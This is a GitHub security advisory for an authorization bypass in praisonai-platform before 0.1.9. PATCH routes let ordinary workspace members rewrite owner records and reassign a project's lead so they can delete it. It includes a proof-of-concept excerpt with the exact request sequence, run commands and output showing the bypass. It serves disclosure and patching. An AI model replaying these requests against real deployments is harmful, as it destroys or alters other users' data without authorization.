GitHub Advisoryadvisory · PyPI
GHSA-c78w-2q4r-68r7 PraisonAI: Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass
HIGH
Official page ↗
- Aliases
- CVE-2026-61442
- Ecosystem
- PyPI
- Packages
- praisonai-platform
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
- Weaknesses
- CWE-862, CWE-863
- Reviewed
- 2026-10-08
Affected packages
• PyPI praisonai-platform: < 0.1.9 → fixed in 0.1.9
Description
Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass
Summary
`praisonai-platform` lets an ordinary workspace member patch owner-created project, issue, and agent records even though the paired delete routes enforce owner/admin authorization. For projects, the member can first patch `lead_id` to their own user id and then delete the owner-created project, bypassing a delete guard that correctly returned `403` before the reassignment.
Technical Details
The affected boundary is the difference between "is a workspace member" and "owns or administers this resource". `src/praisonai-platform/praisonai_platform/api/deps.py` defines `require_workspace_member`, `require_workspace_admin`, `require_workspace_owner`, and `require_delete_permission`. `require_workspace_member` only checks that the caller has at least the `member` role in the workspace, while `require_delete_permission` allows delete only for workspace admins/owners or the resource owner.
The project update route in `src/praisonai-platform/praisonai_platform/api/routes/projects.py` defines `PATCH /workspaces/{workspace_id}/projects/{project_id}` with `user: AuthIdentity = Depends(require_workspace_member)`. It passes `title`, `description`, `status`, `lead_type`, and `lead_id` into `ProjectService.update`. `src/praisonai-platform/praisonai_platform/services/project_service.py` then writes `project.lead_id = lead_id` when supplied. The paired project delete route first loads the project and calls `require_delete_permission(workspace_id, user, session, resource_owner_id=project.lead_id)`. This means an ordinary member can mutate the ownership field that the delete route later trusts.
The same update/delete asymmetry exists for issues and agents. `src/praisonai-platform/praisonai_platform/api/routes/issues.py` defines `PATCH /workspaces/{workspace_id}/issues/{issue_id}` with only `require_workspace_member`, validates referenced ids are in the workspace, then calls `IssueService.update` to write fields including `title`, `description`, `status`, `priority`, `assignee_id`, and `project_id`. The paired delete route checks `resource_owner_id=issue.creator_id`. `src/praisonai-platform/praisonai_platform/api/routes/agents.py` defines `PATCH /workspaces/{workspace_id}/agents/{agent_id}` with only `require_workspace_member` and calls `AgentService.update` to write fields including `instructions`, `runtime_mode`, and `runtime_config`; the paired delete route checks `resource_owner_id=agent.owner_id`.
The intended owner/admin boundary is visible from the delete routes and from the local negative controls: a workspace member cannot directly delete an owner-created project, issue, or agent, and a non-member cannot patch an issue. The vulnerability is that the PATCH routes do not apply an equivalent owner/admin or resource-specific update guard.
PoV
the PoV starts an in-memory FastAPI app backed by SQLite, creates an owner, a member, and an outsider, adds the member to the owner's workspace, then exercises the project, issue, and agent routes without touching any live service.
Essential excerpt:
```python
direct_delete_project = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)
patch_project = await client.patch(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
json={
"title": "Member-controlled project",
"status": "active",
"lead_type": "member",
"lead_id": member_id,
},
headers=member_headers,
)
delete_project_after_takeover = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)
patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "Member rewrote owner issue", "status": "done"},
headers=member_headers,
)
patch_agent = await client.patch(
f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
json={"instructions": "member-controlled instructions", "status": "idle"},
headers=member_headers,
)
outsider_patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "outsider attempt"},
headers=outsider_headers,
)
```
The full PoV script is included in the appendix below as `pov_platform_member_update_bypass.py`.
PoC
Current head tested:
```text
846568c7a5d8ce9e71e56e4c213f027c04909753
2026-06-17T20:13:04+01:00
chore: clean up redundant 'persist-credentials' entries in GitHub workflows
```
Run against a local checkout of current head:
```sh
uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --repo /path/to/PraisonAI --json
```
Decisive current-head output:
```json
{
"source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753",
"workspace_role": "member",
"checks": {
"member_direct_project_delete_before_patch": 403,
"member_project_patch_lead_to_self": 200,
"member_project_delete_after_lead_takeover": 204,
"owner_get_project_after_member_delete": 404,
"member_issue_patch": 200,
"owner_observes_member_issue_title": "Member rewrote owner issue",
"member_issue_delete_after_patch": 403,
"member_agent_patch": 200,
"owner_observes_member_agent_instructions": "member-controlled instructions",
"member_agent_delete_after_patch": 403,
"non_member_issue_patch": 403
},
"vulnerable": true
}
```
Run against the latest PyPI package observed during testing:
```sh
uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --json
```
Decisive latest-PyPI output:
```json
{
"source": "pypi:praisonai-platform==0.1.8",
"workspace_role": "member",
"checks": {
"member_direct_project_delete_before_patch": 403,
"member_project_patch_lead_to_self": 200,
"member_project_delete_after_lead_takeover": 204,
"owner_get_project_after_member_delete": 404,
"member_issue_patch": 200,
"owner_observes_member_issue_title": "Member rewrote owner issue",
"member_issue_delete_after_patch": 403,
"member_agent_patch": 200,
"owner_observes_member_agent_instructions": "member-controlled instructions",
"member_agent_delete_after_patch": 403,
"non_member_issue_patch": 403
},
"vulnerable": true
}
```
Version sweep excerpt:
```text
praisonai-platform 0.1.4: member PATCH project/issue/agent returned 200, but direct member DELETE also returned 204, so the current delete-guard bypass is masked by broader older delete authorization behavior.
praisonai-platform 0.1.6: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.
praisonai-platform 0.1.8: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.
```
Impact
An ordinary workspace member can modify owner-created Platform records that should remain owner/admin controlled. For projects, the member can turn a denied direct delete into an allowed delete by reassigning `lead_id` through PATCH, causing owner project data loss. For issues, the member can rewrite owner-created titles/statuses while delete remains blocked. For agents, the member can replace owner-created instructions and runtime-related configuration fields while delete remains blocked. In a shared workspace, this is a concrete integrity violation and can disrupt work tracking or agent behavior.
Suggested severity…
Related
Alias · CVE (1)
- CVE-2026-61442 PraisonAI Platform (praisonai-platform) before 0.1.9 fails to enforce owner/admin authorization on the PATCH routes for projects, issues,… vulnerability
References
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c78w-2q4r-68r7 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-61442 advisory
- https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753 web
- https://github.com/MervinPraison/PraisonAI package
- https://www.vulncheck.com/advisories/praisonai-platform-before-authorization-bypass-via-patch web